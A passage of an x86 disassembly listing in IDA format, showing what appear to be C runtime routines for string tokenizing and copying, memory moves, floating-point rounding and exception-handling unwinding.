loc_41CAED mov edx, [ebp+arg_0] test edx, edx jnz short loc_41CB15 mov edx, dword_4DBE28 loc_41CB15: ; CODE XREF: sub_41CAD4+39j ; sub_41CAD4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41CB35 test al, al jz short loc_41CB35 inc edx jmp short loc_41CB15 ; --------------------------------------------------------------------------- loc_41CB35: ; CODE XREF: sub_41CAD4+58j ; sub_41CAD4+5Cj mov ebx, edx loc_41CB37: ; CODE XREF: sub_41CAD4+81j mov al, [edx] test al, al jz short loc_41CB5B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41CB57 inc edx jmp short loc_41CB37 ; --------------------------------------------------------------------------- loc_41CB57: ; CODE XREF: sub_41CAD4+7Ej and byte ptr [edx], 0 inc edx loc_41CB5B: ; CODE XREF: sub_41CAD4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DBE28, edx and eax, ebx pop ebx leave retn sub_41CAD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB70 proc near ; CODE XREF: sub_409823+1Cp ; sub_415DAC+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41CBAE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41CBBB ; --------------------------------------------------------------------------- loc_41CBAE: ; CODE XREF: sub_41CB70+34j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41CBBB: ; CODE XREF: sub_41CB70+3Cj mov eax, esi pop esi leave retn sub_41CB70 endp ; =============== S U B R O U T I N E ======================================= sub_41CBC0 proc near ; CODE XREF: sub_40ADE1+88p ; sub_40B90E+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41CC74 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41CBEA loc_41CBDB: ; CODE XREF: sub_41CBC0+28j mov al, [edi] inc edi test al, al jz short loc_41CC1B test edi, 3 jnz short loc_41CBDB loc_41CBEA: ; CODE XREF: sub_41CBC0+19j ; sub_41CBC0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41CBEA mov eax, [edi-4] test al, al jz short loc_41CC28 test ah, ah jz short loc_41CC23 test eax, 0FF0000h jz short loc_41CC1E test eax, 0FF000000h jnz short loc_41CBEA loc_41CC1B: ; CODE XREF: sub_41CBC0+20j dec edi jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC1E: ; CODE XREF: sub_41CBC0+52j sub edi, 2 jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC23: ; CODE XREF: sub_41CBC0+4Bj sub edi, 3 jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC28: ; CODE XREF: sub_41CBC0+47j sub edi, 4 loc_41CC2B: ; CODE XREF: sub_41CBC0+5Cj ; sub_41CBC0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41CC40 mov ebx, ecx shr ecx, 2 jnz short loc_41CC8C jmp short loc_41CC5C ; --------------------------------------------------------------------------- loc_41CC40: ; CODE XREF: sub_41CBC0+75j ; sub_41CBC0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41CC7A mov [edi], dl inc edi dec ecx jz short loc_41CC70 test esi, 3 jnz short loc_41CC40 mov ebx, ecx shr ecx, 2 jnz short loc_41CC8C loc_41CC5C: ; CODE XREF: sub_41CBC0+7Ej ; sub_41CBC0+CAj mov ecx, ebx and ecx, 3 jz short loc_41CC70 loc_41CC63: ; CODE XREF: sub_41CBC0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41CC72 dec ecx jnz short loc_41CC63 loc_41CC70: ; CODE XREF: sub_41CBC0+8Bj ; sub_41CBC0+A1j mov [edi], cl loc_41CC72: ; CODE XREF: sub_41CBC0+ABj pop ebx pop esi loc_41CC74: ; CODE XREF: sub_41CBC0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41CC7A: ; CODE XREF: sub_41CBC0+85j ; sub_41CBC0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CC84: ; CODE XREF: sub_41CBC0+E4j ; sub_41CBC0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41CC5C loc_41CC8C: ; CODE XREF: sub_41CBC0+7Cj ; sub_41CBC0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41CC84 test dl, dl jz short loc_41CC7A test dh, dh jz short loc_41CCD8 test edx, 0FF0000h jz short loc_41CCC8 test edx, 0FF000000h jnz short loc_41CC84 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CCC8: ; CODE XREF: sub_41CBC0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CCD8: ; CODE XREF: sub_41CBC0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41CBC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCE3 proc near ; CODE XREF: ___:0040B062p ; sub_40C2AF+40p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41B9C0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420DB0 add esp, 10h leave retn sub_41CCE3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD20 proc near ; CODE XREF: sub_40B13C+62p ; sub_40B13C+6Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CD40 cmp edi, eax jb loc_41CEB8 loc_41CD40: ; CODE XREF: sub_41CD20+16j test edi, 3 jnz short loc_41CD5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- loc_41CD5C: ; CODE XREF: sub_41CD20+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CD74 and eax, 3 add ecx, eax jmp dword ptr loc_41CD7C+4[eax*4] ; --------------------------------------------------------------------------- loc_41CD74: ; CODE XREF: sub_41CD20+46j jmp dword ptr loc_41CE78[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD7C: ; CODE XREF: sub_41CD20+31j ; sub_41CD20+8Ej ... jmp off_41CDFC[ecx*4] ; --------------------------------------------------------------------------- db 2 dup(90h) db 0CDh, 41h, 0 dd offset loc_41CDBC dd offset loc_41CDE0 ; --------------------------------------------------------------------------- and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CDBC: ; DATA XREF: sub_41CD20+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CDE0: ; DATA XREF: sub_41CD20+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDFC dd offset loc_41CE5F ; DATA XREF: sub_41CD20:loc_41CD7Cr dd offset loc_41CE4C dd offset loc_41CE44 dd offset loc_41CE3C dd offset loc_41CE34 dd offset loc_41CE2C dd offset loc_41CE24 dd offset loc_41CE1C ; --------------------------------------------------------------------------- loc_41CE1C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CE24: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CE2C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CE34: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CE3C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CE44: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CE4C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CE5F: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20:off_41CDFCo jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CE68 dd offset loc_41CE78 ; DATA XREF: sub_41CD20+35r ; sub_41CD20+92r ... dd offset loc_41CE80 dd offset loc_41CE8C dd offset loc_41CEA0 ; --------------------------------------------------------------------------- loc_41CE78: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE80: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE8C: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CEA0: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CEB8: ; CODE XREF: sub_41CD20+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CEEC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CEE0: ; CODE XREF: sub_41CD20+1B1j ; sub_41CD20+208j ... neg ecx jmp off_41CFB0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEEC: ; CODE XREF: sub_41CD20+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CF04 and eax, 3 sub ecx, eax jmp dword ptr loc_41CF04+4[eax*4] ; --------------------------------------------------------------------------- loc_41CF04: ; CODE XREF: sub_41CD20+1D6j ; DATA XREF: sub_41CD20+1DDr jmp off_41D000[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF17+1 ; --------------------------------------------------------------------------- cmp bh, cl inc ecx add [eax-31h], ah inc ecx loc_41CF17: ; DATA XREF: sub_41CD20+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CFB4 dd offset loc_41CFBC dd offset loc_41CFC4 dd offset loc_41CFCC dd offset loc_41CFD4 dd offset loc_41CFDC dd offset loc_41CFE4 off_41CFB0 dd offset loc_41CFF7 ; DATA XREF: sub_41CD20+1C2r ; --------------------------------------------------------------------------- loc_41CFB4: ; DATA XREF: sub_41CD20+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CFBC: ; DATA XREF: sub_41CD20+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CFC4: ; DATA XREF: sub_41CD20+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CFCC: ; DATA XREF: sub_41CD20+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CFD4: ; DATA XREF: sub_41CD20+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CFDC: ; DATA XREF: sub_41CD20+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CFE4: ; DATA XREF: sub_41CD20+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CFF7: ; CODE XREF: sub_41CD20+1C2j ; DATA XREF: sub_41CD20:off_41CFB0o jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D000 dd offset loc_41D010 ; DATA XREF: sub_41CD20+1B7r ; sub_41CD20:loc_41CF04r ... dd offset loc_41D018 dd offset loc_41D028 dd offset loc_41D03C ; --------------------------------------------------------------------------- loc_41D010: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D018: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D028: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D03C: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CD20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41D055(double) sub_41D055 proc near ; CODE XREF: sub_40D2F4+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43AE10 call sub_422089 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41D0DB call sub_421F51 pop ecx test eax, eax pop ecx jle short loc_41D0BE cmp eax, 2 jle short loc_41D0B0 cmp eax, 3 jnz short loc_41D0BE fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_421861 add esp, 10h jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0B0: ; CODE XREF: sub_41D055+3Fj push esi push ebx call sub_422089 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0BE: ; CODE XREF: sub_41D055+3Aj ; sub_41D055+44j fld [ebp+arg_0] fadd dbl_4276F8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41D118 ; --------------------------------------------------------------------------- loc_41D0DB: ; CODE XREF: sub_41D055+2Fj call sub_421F16 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41D0FE loc_41D0F0: ; CODE XREF: sub_41D055+ACj push esi push ebx call sub_422089 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0FE: ; CODE XREF: sub_41D055+99j test bl, 20h jnz short loc_41D0F0 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41D118: ; CODE XREF: sub_41D055+84j call sub_4218B4 add esp, 1Ch loc_41D120: ; CODE XREF: sub_41D055+59j ; sub_41D055+67j ... pop esi pop ebx leave retn sub_41D055 endp ; =============== S U B R O U T I N E ======================================= sub_41D124 proc near ; CODE XREF: ___:0041C16Dp ; sub_422152+21p ; DATA XREF: ... call sub_41D13C call sub_422152 mov dword_4DBE30, eax call sub_422102 fnclex retn sub_41D124 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41D13C proc near ; CODE XREF: sub_41D124p mov eax, offset sub_422540 mov off_43D424, offset sub_4221D5 mov off_43D420, eax mov off_43D428, offset sub_42223B mov off_43D42C, offset sub_42217B mov off_43D430, offset sub_422223 mov off_43D434, eax retn sub_41D13C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D174 proc near ; CODE XREF: sub_40D2F4+1Bp ; sub_40D2F4+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41D174 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41D19B(double) sub_41D19B proc near ; CODE XREF: sub_40D340+82p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43AE28 call sub_422089 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41D221 call sub_421F51 pop ecx test eax, eax pop ecx jle short loc_41D204 cmp eax, 2 jle short loc_41D1F6 cmp eax, 3 jnz short loc_41D204 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_421861 add esp, 10h jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D1F6: ; CODE XREF: sub_41D19B+3Fj push esi push ebx call sub_422089 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D204: ; CODE XREF: sub_41D19B+3Aj ; sub_41D19B+44j fld [ebp+arg_0] fadd dbl_4276F8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41D25E ; --------------------------------------------------------------------------- loc_41D221: ; CODE XREF: sub_41D19B+2Fj call sub_421F16 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41D244 loc_41D236: ; CODE XREF: sub_41D19B+ACj push esi push ebx call sub_422089 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D244: ; CODE XREF: sub_41D19B+99j test bl, 20h jnz short loc_41D236 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41D25E: ; CODE XREF: sub_41D19B+84j call sub_4218B4 add esp, 1Ch loc_41D266: ; CODE XREF: sub_41D19B+59j ; sub_41D19B+67j ... pop esi pop ebx leave retn sub_41D19B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D26A proc near ; CODE XREF: ___:00422A22p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41D26A endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41D29E proc near ; CODE XREF: sub_422B62+199p ; sub_422D26+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D29E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D2A5 proc near ; CODE XREF: sub_422B62+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D2A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D2AC proc near ; CODE XREF: sub_41D45E+5Cp ; sub_4229B1:loc_4229E2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41D2D4 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_426356 sub_41D2AC endp ; --------------------------------------------------------------------------- loc_41D2D4: ; DATA XREF: sub_41D2AC+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41D2FB: ; CODE XREF: ___:00426AACj ; ___:00426AC9j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_4225B6 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D331 proc near ; CODE XREF: sub_422A2C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41D385 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422DB0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41D331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D385 proc near ; DATA XREF: sub_41D331+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4225B6 add esp, 20h pop ebp retn sub_41D385 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D3AA proc near ; CODE XREF: sub_4227F8+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41D45E mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41D430 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DBE70 pop ecx pop ecx and [ebp+var_34], 0 loc_41D430: ; DATA XREF: sub_41D3AA+3Co cmp [ebp+var_4], 0 jz short loc_41D44D mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41D456 ; --------------------------------------------------------------------------- loc_41D44D: ; CODE XREF: sub_41D3AA+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41D456: ; CODE XREF: sub_41D3AA+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41D3AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D45E proc near ; DATA XREF: sub_41D3AA+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41D481 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41D4CE ; --------------------------------------------------------------------------- loc_41D481: ; CODE XREF: sub_41D45E+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4225B6 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41D4BF push [ebp+arg_0] push [ebp+arg_4] call sub_41D2AC ; --------------------------------------------------------------------------- loc_41D4BF: ; CODE XREF: sub_41D45E+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41D4CE: ; CODE XREF: sub_41D45E+21j pop edi pop esi pop ebx pop ebp retn sub_41D45E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4D3 proc near ; CODE XREF: sub_422651+C6p 